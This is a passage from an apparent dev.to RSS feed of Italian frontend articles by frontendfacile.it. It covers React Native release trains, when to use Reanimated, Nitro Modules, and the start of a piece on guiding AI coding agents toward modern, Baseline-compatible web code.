&lt;strong&gt;dozzine di varianti&lt;/strong&gt; (non ancora centinaia, ma abbastanza da sentire l’attrito)&lt;/li&gt;
&lt;li&gt;con differenze di configurazione, feature set, brand, requisiti cliente&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A quel punto il problema non è più “possiamo rilasciare?” ma:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;possiamo farlo in modo consistente?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;possiamo farlo in modo affidabile?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;possiamo farlo senza costi marginali che esplodono ad ogni nuova variante?&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il release train funziona davvero solo se la pipeline e le pratiche sono pensate per replicarsi: stessa disciplina, stessi controlli, stesso standard tra tutte le declinazioni del prodotto.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implicazioni pratiche per un team React Native
&lt;/h2&gt;

&lt;p&gt;Se ti ritrovi in un contesto simile (B2B, multi‑variante, device non “mobile‑centrico”), la lezione più utile è questa:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Scegli una cadenza di rilascio fissa&lt;/strong&gt; (es. ogni 2 settimane) e proteggila.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Riduci le eccezioni&lt;/strong&gt;: ogni “questa variante è speciale” è debito operativo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Allinea il concetto di unificazione&lt;/strong&gt;: non solo nel codice, ma nel modo in cui costruisci, testi e rilasci.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Misura la scalabilità&lt;/strong&gt;: quando passi da 5 a 20 varianti, i problemi cambiano natura—servono processi e automazioni che restino stabili.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Sintesi
&lt;/h2&gt;

&lt;p&gt;In ambienti dove l’aggiornamento non è immediato (come le TV) e dove il B2B introduce vincoli reali, puntare a continuous delivery “a tutti i costi” può essere un falso obiettivo. Un &lt;strong&gt;release train ogni due settimane&lt;/strong&gt;, costruito su un forte principio di &lt;strong&gt;unificazione e riuso&lt;/strong&gt;, offre un compromesso solido: velocità sufficiente per iterare, ma soprattutto &lt;strong&gt;prevedibilità e affidabilità&lt;/strong&gt; mentre il numero di varianti cresce. Il risultato migliore non è rilasciare sempre: è rilasciare bene, ogni volta.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/release-train-in-react-native-come-scalare-rilasci-affidabili-ogni-2-settimane-i" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/release-train-in-react-native-come-scalare-rilasci-affidabili-ogni-2-settimane-i&lt;/a&gt;&lt;/p&gt;

</description>
      <category>reactnative</category>
      <category>releasetrain</category>
      <category>ciclidirilascio</category>
      <category>b2b</category>
    </item>
    <item>
      <title>Quando ti serve davvero Reanimated (e quando no) in React Native</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:39:36 +0000</pubDate>
      <link>https://dev.to/frontendfacile/quando-ti-serve-davvero-reanimated-e-quando-no-in-react-native-56nh</link>
      <guid>https://dev.to/frontendfacile/quando-ti-serve-davvero-reanimated-e-quando-no-in-react-native-56nh</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Reanimated è potentissimo, ma la potenza ha un costo: sceglierlo solo dove serve rende l’app più semplice da mantenere.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Reanimated è diventato lo standard de facto quando si parla di animazioni avanzate in React Native. È facile cadere nella scorciatoia mentale: &lt;em&gt;“se voglio animazioni fluide, uso Reanimated e basta”&lt;/em&gt;. Spesso funziona, ma non è sempre la scelta migliore.&lt;/p&gt;

&lt;p&gt;L’idea chiave è semplice: &lt;strong&gt;Reanimated ti dà una flessibilità enorme&lt;/strong&gt;, ma &lt;strong&gt;quella flessibilità non è gratuita&lt;/strong&gt;. Capire &lt;em&gt;quando&lt;/em&gt; ti serve davvero evita complessità inutile e riduce il costo di manutenzione nel tempo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Il confronto “Animated vs Reanimated” è spesso troppo semplicistico
&lt;/h2&gt;

&lt;p&gt;Molti confronti nascono da un punto di vista prestazionale: animazioni guidate dal JS thread vs animazioni più “vicine” alla UI. In questo scenario Reanimated tende a vincere nella maggior parte dei casi, soprattutto quando:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;l’animazione deve rimanere fluida anche sotto carico JS;&lt;/li&gt;
&lt;li&gt;ci sono gesture e interazioni continue;&lt;/li&gt;
&lt;li&gt;serve composizione di più animazioni con dipendenze tra loro.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il problema è che questo confronto ignora due aspetti pratici:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Esistono casi limite e vincoli operativi&lt;/strong&gt; che entrano in gioco appena l’animazione non è “da demo”.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Il costo reale non è solo performance&lt;/strong&gt;, ma anche &lt;strong&gt;API surface, debugging, onboarding del team e complessità architetturale&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  La potenza di Reanimated ha un prezzo
&lt;/h2&gt;

&lt;p&gt;Reanimated si è evoluto molto: dalle prime versioni, dove l’enfasi era fortemente sulla performance, oggi è evidente un investimento importante su &lt;strong&gt;API e flessibilità&lt;/strong&gt;. Il risultato è ottimo: puoi riprodurre quasi qualsiasi tipo di animazione e interazione.&lt;/p&gt;

&lt;p&gt;Ma questa flessibilità comporta un trade-off fondamentale:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;stai eseguendo logica JavaScript sul UI thread frame-by-frame&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Non è automaticamente “male”, anzi: è proprio ciò che abilita animazioni complesse e reattive. Però significa che &lt;strong&gt;ogni animazione che porti su Reanimated si porta dietro un modello mentale diverso&lt;/strong&gt; e una parte di runtime/complessità che potresti non voler pagare per casi banali.&lt;/p&gt;

&lt;h3&gt;
  
  
  Domanda guida: ti serve davvero per… un fade-in?
&lt;/h3&gt;

&lt;p&gt;Ecco l’esempio più utile per ragionare: &lt;strong&gt;hai davvero bisogno di Reanimated per far comparire una view con una dissolvenza?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Molte animazioni comuni (fade, piccoli translate, scale di ingresso/uscita) possono essere:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;gestite con soluzioni più semplici,&lt;/li&gt;
&lt;li&gt;più leggibili dal team,&lt;/li&gt;
&lt;li&gt;meno “invasive” a livello di architettura.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se l’animazione è &lt;em&gt;decorativa&lt;/em&gt; e non interattiva, spesso la complessità extra non ripaga.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quando Reanimated è la scelta giusta
&lt;/h2&gt;

&lt;p&gt;Vale la pena introdurre Reanimated quando l’animazione è parte del comportamento dell’interfaccia, non solo un abbellimento:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Gesture-driven UI&lt;/strong&gt;: drag, swipe, pan, pinch, elementi che seguono il dito.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Animazioni composte e sincronizzate&lt;/strong&gt;: più proprietà e componenti che devono restare coerenti tra loro.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interazioni ad alta frequenza&lt;/strong&gt;: tutto ciò che cambia continuamente e deve restare fluido anche se il JS thread è occupato.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transizioni e micro-interazioni “core”&lt;/strong&gt;: dove la qualità percepita dell’app dipende da quell’animazione.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In questi casi Reanimated non è solo “più veloce”: è spesso &lt;strong&gt;l’unico modo sostenibile&lt;/strong&gt; per ottenere l’effetto desiderato con un buon livello di controllo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quando evitarlo (o rimandarlo)
&lt;/h2&gt;

&lt;p&gt;Se stai lavorando su:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;animazioni d’ingresso/uscita semplici&lt;/strong&gt; (fade in/out, slide leggero),&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;feedback visivi non critici&lt;/strong&gt; (hover-like, piccoli highlight),&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;transizioni rare&lt;/strong&gt; (una tantum, non durante gesture),&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;allora la domanda diventa: &lt;em&gt;quanta flessibilità mi serve davvero?&lt;/em&gt; Se la risposta è “poca”, partire con una soluzione più leggera spesso è la scelta più pragmatica.&lt;/p&gt;

&lt;h2&gt;
  
  
  Regola pratica per decidere
&lt;/h2&gt;

&lt;p&gt;Una regola che funziona bene in un progetto reale:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inizia semplice&lt;/strong&gt; per animazioni cosmetiche.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Passa a Reanimated&lt;/strong&gt; quando:

&lt;ul&gt;
&lt;li&gt;serve interazione continua (gesture), oppure&lt;/li&gt;
&lt;li&gt;la fluidità degrada sotto carico, oppure&lt;/li&gt;
&lt;li&gt;l’animazione richiede composizione e controllo avanzati.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In questo modo Reanimated diventa un &lt;strong&gt;strumento mirato&lt;/strong&gt;, non un default.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sintesi finale
&lt;/h2&gt;

&lt;p&gt;Reanimated è straordinario perché ti permette di costruire interfacce altamente dinamiche e “fisiche”, con un livello di controllo difficilmente raggiungibile altrimenti. Ma la sua forza—flessibilità ed esecuzione frame-by-frame—porta inevitabilmente costo e vincoli.&lt;/p&gt;

&lt;p&gt;L’implicazione pratica è chiara: &lt;strong&gt;usa Reanimated dove l’animazione è parte della UX e deve reggere interazioni complesse&lt;/strong&gt;; per il resto, non avere paura di scegliere strade più semplici. Un’app con meno complessità superflua è quasi sempre più facile da far crescere, ottimizzare e mantenere.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/quando-ti-serve-davvero-reanimated-e-quando-no-in-react-native" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/quando-ti-serve-davvero-reanimated-e-quando-no-in-react-native&lt;/a&gt;&lt;/p&gt;

</description>
      <category>reactnativeanimation</category>
      <category>reanimated</category>
      <category>uithread</category>
      <category>performancemobile</category>
    </item>
    <item>
      <title>Nitro Modules in React Native: perché non sono “solo un bridge più veloce”</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:34:35 +0000</pubDate>
      <link>https://dev.to/frontendfacile/nitro-modules-in-react-native-perche-non-sono-solo-un-bridge-piu-veloce-1n56</link>
      <guid>https://dev.to/frontendfacile/nitro-modules-in-react-native-perche-non-sono-solo-un-bridge-piu-veloce-1n56</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Oggetti nativi stateful, ArrayBuffer e C++ di prima classe: l’idea è spostare il confine tra JS e native senza perdere espressività (e guadagnando performance).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;React Native oggi è in una fase interessante: il “tetto” di performance e capacità è altissimo, molte delle vecchie limitazioni sono state aggirate o risolte, e l’ecosistema offre librerie mature per casi d’uso un tempo impensabili (grafica avanzata, animazioni complesse, accesso camera ad alte prestazioni, persino WebGPU).&lt;/p&gt;

&lt;p&gt;Dentro questa maturità, Nitro Modules sta diventando un punto di convergenza. Non perché sia l’ennesima moda, ma perché introduce un modello più &lt;strong&gt;potente&lt;/strong&gt; e &lt;strong&gt;flessibile&lt;/strong&gt; per costruire integrazioni native, soprattutto quando serve andare oltre il classico “chiamo un metodo nativo e mi torna un JSON”.&lt;/p&gt;

&lt;h2&gt;
  
  
  Perché Nitro è diverso: non solo velocità, ma &lt;em&gt;modello&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;Quando si parla di bridge in React Native, il pensiero corre subito ai millisecondi risparmiati nelle chiamate. Nitro è effettivamente molto veloce (in benchmark isolati può risultare decine di volte più rapido rispetto ad alternative), ma il punto è: &lt;strong&gt;che cosa rende possibile&lt;/strong&gt; quella velocità e, soprattutto, &lt;strong&gt;che cosa abilita&lt;/strong&gt; a livello di API.&lt;/p&gt;

&lt;p&gt;Nitro punta su alcune caratteristiche chiave:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Oggetti nativi stateful (con stato) come “cittadini di prima classe”&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supporto “first-class” ad &lt;code&gt;ArrayBuffer&lt;/code&gt;&lt;/strong&gt; (quindi binari, buffer, dati grezzi)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supporto “first-class” al C++&lt;/strong&gt; e interop tra C++ e linguaggi nativi di piattaforma (Swift/Kotlin)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Astrazione sottile e type-safe, con binding generati a compile-time&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tradotto: non sei costretto a modellare tutto come funzioni statiche e payload serializzati. Puoi rappresentare &lt;em&gt;cose&lt;/em&gt; native (frame camera, immagini in memoria, risorse GPU, handle) in modo più diretto, mantenendo prestazioni e pulizia.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quando la differenza si vede davvero: real-time e chiamate ripetute
&lt;/h2&gt;

&lt;p&gt;I benchmark sono utili, ma spesso fuorvianti. La differenza pratica emerge quando:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;fai molte chiamate native al secondo,&lt;/li&gt;
&lt;li&gt;su dati pesanti,&lt;/li&gt;
&lt;li&gt;in un loop real-time.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Un esempio tipico è l’elaborazione camera ad alto frame rate. A 120 FPS, anche “solo” 10 chiamate native per frame diventano &lt;strong&gt;1200 chiamate al secondo&lt;/strong&gt;. In quel contesto, l’overhead non è più un dettaglio: si somma, impatta la latenza, e finisce per limitare ciò che puoi permetterti in pipeline.&lt;/p&gt;

&lt;p&gt;Nitro, avendo un costo di call molto basso e un modello più adatto a oggetti stateful, diventa un abilitante: non solo fai le stesse cose più velocemente, ma puoi progettare API che prima risultavano scomode o impraticabili.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vision Camera, estensibilità nativa e nuove pipeline
&lt;/h2&gt;

&lt;p&gt;Un caso che beneficia molto di questo approccio è l’ecosistema intorno alla camera.&lt;/p&gt;

&lt;p&gt;L’idea centrale è avere una base estremamente flessibile da estendere con codice nativo di terze parti: integrazioni con framework e toolchain esistenti (Torch, ML Kit, OpenCV e simili) diventano “plug-in” su una pipeline coerente.&lt;/p&gt;

&lt;p&gt;Qui Nitro torna utile perché:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;i &lt;strong&gt;frame&lt;/strong&gt; e le risorse non sono “stringhe e path su disco”,&lt;/li&gt;
&lt;li&gt;puoi mantenere i dati &lt;strong&gt;in memoria&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;puoi ridurre copie e conversioni.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  L’innesto con WebGPU: frame come texture, compute shader e zero-copy
&lt;/h3&gt;

&lt;p&gt;Un’altra direzione molto interessante è l’integrazione tra camera e &lt;strong&gt;WebGPU&lt;/strong&gt;: importare frame come &lt;strong&gt;texture WebGPU&lt;/strong&gt; e processarli con &lt;strong&gt;compute shader&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Il valore tecnico qui è enorme:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;riuso di buffer GPU zero-copy&lt;/strong&gt; (o comunque senza passaggi inutili),&lt;/li&gt;
&lt;li&gt;elaborazioni parallele sulla GPU,&lt;/li&gt;
&lt;li&gt;possibilità di costruire task di computer vision (face detection, QR scanning, filtri, statistiche) con &lt;strong&gt;codice JS + shader&lt;/strong&gt;, senza introdurre dipendenze native specifiche.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;E se non ami scrivere shader “raw”, strumenti come TypeGPU (syntax più ergonomica sopra WebGPU) possono diventare un tassello per rendere queste pipeline più accessibili.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dall’era “hard problems” a “ship faster”
&lt;/h2&gt;

&lt;p&gt;C’è un cambio di prospettiva importante: una volta React Native era pieno di spigoli. Oggi, con più aziende che investono e una community più strutturata, molte “grane storiche” sono meno frequenti.&lt;/p&gt;

&lt;p&gt;Il problema si sposta verso:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;velocità di delivery&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;efficienza nel costruire feature,&lt;/li&gt;
&lt;li&gt;capacità di “scendere in native” rapidamente quando serve (nuove API Apple/Google, hardware capability, feature di sistema).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In questo, Nitro si propone come leva pragmatica: quando ti serve una feature specifica, scrivi un modulo con una porzione di Swift/Kotlin (e, quando utile, C++) e lo integri con un’API più espressiva.&lt;/p&gt;

&lt;h2&gt;
  
  
  Verso un “Nitro SDK”? Il tema dell’orchestrazione
&lt;/h2&gt;

&lt;p&gt;Un rischio tipico quando nasce una nuova “ondata” di moduli è la frammentazione:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;pattern diversi tra librerie,&lt;/li&gt;
&lt;li&gt;scelte API incoerenti,&lt;/li&gt;
&lt;li&gt;qualità e manutenzione disomogenee.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ha senso immaginare un livello “umbrella” stile SDK che:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;imponga o suggerisca &lt;strong&gt;best practice di API design&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;mantenga uno stile coerente,&lt;/li&gt;
&lt;li&gt;incentivi l’uso di feature Nitro più avanzate (ad esempio un modello più object-oriented, invece di tutto statico),&lt;/li&gt;
&lt;li&gt;soprattutto: abiliti la &lt;strong&gt;condivisione di tipi&lt;/strong&gt; tra librerie.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La condivisione dei tipi è un acceleratore enorme: se una libreria produce un certo tipo in memoria e un’altra lo consuma senza conversioni, l’integrazione diventa naturale e molto più performante.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nitro Image: esempio concreto di “tipo in memoria” che cambia il gioco
&lt;/h2&gt;

&lt;p&gt;Chi ha lavorato con image picker tradizionali in React Native conosce bene il collo di bottiglia:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;selezioni una o più immagini,&lt;/li&gt;
&lt;li&gt;parte un processo di &lt;strong&gt;copia su disco&lt;/strong&gt; (spesso in una directory temporanea),&lt;/li&gt;
&lt;li&gt;poi l’app si scambia &lt;strong&gt;path&lt;/strong&gt; come stringhe… o peggio &lt;strong&gt;base64&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questo approccio è comodo, ma pessimo per performance e latenza, soprattutto quando selezioni molte immagini.&lt;/p&gt;

&lt;p&gt;Un tipo come &lt;strong&gt;Nitro Image&lt;/strong&gt; introduce un’idea semplice ma fondamentale:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;trasferimento &lt;strong&gt;in-memory&lt;/strong&gt; (binario),&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;zero-copy&lt;/strong&gt; per il passaggio dei dati,&lt;/li&gt;
&lt;li&gt;possibilità di operare sull’immagine (resize, trasformazioni, salvataggio) senza “spostare file” come meccanismo principale.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;È uno di quei mattoni infrastrutturali che non fanno rumore, ma cambiano l’esperienza utente quando l’app inizia a trattare media in modo serio.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sintesi: Nitro come spostamento del confine, non come micro-ottimizzazione
&lt;/h2&gt;

&lt;p&gt;Nitro è interessante perché sposta il confine tra JavaScript e native:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;meno serializzazione e meno “stringhe come protocollo”,&lt;/li&gt;
&lt;li&gt;più oggetti reali e dati binari in memoria,&lt;/li&gt;
&lt;li&gt;interop C++ e performance coerenti con casi real-time,&lt;/li&gt;
&lt;li&gt;API potenzialmente più eleganti e riusabili tra librerie.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La conseguenza pratica è chiara: &lt;strong&gt;meno tempo speso a combattere l’infrastruttura&lt;/strong&gt;, più tempo per costruire feature. E quando serve spingere su camera, grafica, ML o pipeline GPU, avere un modello zero-copy e stateful non è un lusso: è la differenza tra un prototipo e un prodotto che regge in produzione.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/nitro-modules-in-react-native-perche-non-sono-solo-un-bridge-piu-veloce" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/nitro-modules-in-react-native-perche-non-sono-solo-un-bridge-piu-veloce&lt;/a&gt;&lt;/p&gt;

</description>
      <category>nitromodules</category>
      <category>jsi</category>
      <category>zerocopy</category>
      <category>webgpu</category>
    </item>
    <item>
      <title>Modern Web Guidance: come far smettere all’AI di generare codice web “vecchio” (e renderlo davvero compatibile)</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:29:35 +0000</pubDate>
      <link>https://dev.to/frontendfacile/modern-web-guidance-come-far-smettere-allai-di-generare-codice-web-vecchio-e-renderlo-davvero-40kj</link>
      <guid>https://dev.to/frontendfacile/modern-web-guidance-come-far-smettere-allai-di-generare-codice-web-vecchio-e-renderlo-davvero-40kj</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Un approccio pratico per aggiornare workflow AI-assisted con best practice, feature nuove e target Baseline misurabili.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Negli ultimi mesi mi è capitato spesso di vedere lo stesso film: chiedo a un agente AI di implementare una feature web “moderna” e mi ritrovo con codice che sembra scritto per un web di qualche anno fa. Funziona &lt;em&gt;quasi&lt;/em&gt;, ma poi emergono i soliti problemi: pattern legacy, compatibilità gestita “a caso”, workaround in JavaScript dove oggi basterebbe CSS, e soprattutto soluzioni che non rispettano un requisito fondamentale: &lt;strong&gt;il target reale di browser support del progetto&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Per ridurre questo scarto tra ciò che il web offre oggi e ciò che l’AI tende a proporre, sta prendendo forma un’idea interessante: &lt;strong&gt;Modern Web Guidance&lt;/strong&gt;. Non è “un altro modello”, ma un insieme di guide tecniche che l’agente può consultare &lt;strong&gt;in modo mirato&lt;/strong&gt;, quando serve, e con un principio chiave: &lt;strong&gt;ogni raccomandazione è legata a Baseline e include fallback quando necessario&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Di seguito trovi una panoramica concreta di come ragionare con Modern Web Guidance in un workflow quotidiano: refactor di legacy, ottimizzazioni performance misurabili e introduzione di nuove UX senza compromettere compatibilità e manutenzione.&lt;/p&gt;




&lt;h2&gt;
  
  
  Il problema reale: l’AI conosce il web “com’era”, non sempre “com’è”
&lt;/h2&gt;

&lt;p&gt;I modelli generalisti sono fortissimi nel ricombinare pattern noti, ma soffrono su due fronti:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Raccomandano soluzioni legacy&lt;/strong&gt; anche quando esistono alternative più pulite, native e performanti.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hanno punti ciechi sulle feature recenti&lt;/strong&gt;: spesso sbagliano dettagli d’implementazione o evitano del tutto l’approccio moderno.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Il risultato è tipico: codice più lungo del necessario, più fragile, e pieno di compatibilità “a sentimento” (la classica lista di browser support generica, che non considera i requisiti del tuo progetto).&lt;/p&gt;

&lt;p&gt;Un esempio perfetto è l’evoluzione di alcune capacità CSS. In passato, per cambiare lo stile di un “gruppo” quando un input interno era invalido, finivi per fare toggle di classi via JavaScript. Oggi, in molti casi, puoi usare direttamente &lt;strong&gt;&lt;code&gt;:has()&lt;/code&gt;&lt;/strong&gt; per esprimere la relazione in CSS. È un salto enorme in chiarezza e manutenzione, ma se il modello non è aggiornato, continuerà a proporre JS e classi di appoggio.&lt;/p&gt;




&lt;h2&gt;
  
  
  Cos’è Modern Web Guidance (in pratica)
&lt;/h2&gt;

&lt;p&gt;Modern Web Guidance si può descrivere così:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;un set di &lt;strong&gt;guide verificate da esperti&lt;/strong&gt; (best practice e feature-specific)&lt;/li&gt;
&lt;li&gt;pensate per essere &lt;strong&gt;recuperate on-demand&lt;/strong&gt; dall’agente&lt;/li&gt;
&lt;li&gt;con un focus esplicito su &lt;strong&gt;Baseline&lt;/strong&gt; e strategie di fallback.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La parte interessante non è solo “avere linee guida”, ma &lt;strong&gt;come entrano nel flusso&lt;/strong&gt;:&lt;/p&gt;

&lt;h3&gt;
  
  
  1) Due livelli di guida
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Guide ad alto livello&lt;/strong&gt;: performance, sicurezza, UX, ecc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Guide a basso livello&lt;/strong&gt;: feature web recenti dove spesso l’AI sbaglia (o non osa).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2) Recupero semantico locale
&lt;/h3&gt;

&lt;p&gt;Quando invii un prompt, l’agente esegue una &lt;strong&gt;ricerca semantica locale&lt;/strong&gt; nel bundle di guide.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Se trova corrispondenze, le aggiunge al contesto e genera una risposta “aggiornata”.&lt;/li&gt;
&lt;li&gt;Se non trova match, l’agente procede normalmente.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questa scelta è importante perché evita il classico errore dei “mega prompt” dove carichi troppe regole e saturi il contesto.&lt;/p&gt;

&lt;h3&gt;
  
  
  3) Baseline come contratto di compatibilità
&lt;/h3&gt;

&lt;p&gt;Ogni guida contiene:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;implementazione ideale (moderna)&lt;/li&gt;
&lt;li&gt;fallback quando la feature non è &lt;strong&gt;Baseline widely available&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In più, l’agente può adattare le scelte in base al target che dichiari nel progetto (tipicamente tramite un file di configurazione come &lt;code&gt;agents.md&lt;/code&gt;).&lt;/p&gt;




&lt;h2&gt;
  
  
  Un caso d’uso concreto: rifare ordine in un progetto legacy
&lt;/h2&gt;

&lt;p&gt;Immagina una piccola app “legacy” (classico progetto didattico con HTML/CSS/JS sparsi, una manciata di moduli e qualche scelta discutibile fatta anni fa). Il punto non è l’app in sé, ma il metodo.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: misurare prima di toccare
&lt;/h3&gt;

&lt;p&gt;Prima di refactorare “a naso”, conviene fare un audit e farsi guidare dai colli di bottiglia reali:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;FCP / LCP&lt;/strong&gt; fuori target&lt;/li&gt;
&lt;li&gt;risorse bloccanti (CSS, font)&lt;/li&gt;
&lt;li&gt;immagini caricate in modo subottimale&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se nel workflow usi strumenti automatizzabili, l’ideale è far girare Lighthouse e produrre un report ripetibile, così puoi:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;confrontare il prima/dopo&lt;/li&gt;
&lt;li&gt;evitare ottimizzazioni “placebo”&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 2: sistemare LCP con priorità di caricamento immagini
&lt;/h3&gt;

&lt;p&gt;Uno dei problemi più comuni nelle app legacy è la hero image:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;viene iniettata via JavaScript&lt;/li&gt;
&lt;li&gt;arriva tardi&lt;/li&gt;
&lt;li&gt;“salta” nel layout&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Una correzione moderna e spesso immediata è:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;riportare l’immagine nel markup (quando sensato)&lt;/li&gt;
&lt;li&gt;usare &lt;code&gt;fetchpriority="high"&lt;/code&gt; sulla risorsa critica&lt;/li&gt;
&lt;li&gt;specificare dimensioni (&lt;code&gt;width&lt;/code&gt;/&lt;code&gt;height&lt;/code&gt;) o strategie equivalenti per ridurre layout shift&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Non è magia: è dare al browser segnali chiari su cosa caricare &lt;em&gt;subito&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: eliminare fallback non più necessari (quando Baseline lo consente)
&lt;/h3&gt;

&lt;p&gt;Molti progetti si portano dietro anni di “compat layer”:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;mapping di stati&lt;/li&gt;
&lt;li&gt;classi CSS duplicate&lt;/li&gt;
&lt;li&gt;JS per gestire casi che oggi non esistono più&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se una feature è diventata &lt;strong&gt;Baseline widely available&lt;/strong&gt;, puoi:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;togliere rami condizionali e polyfill artigianali&lt;/li&gt;
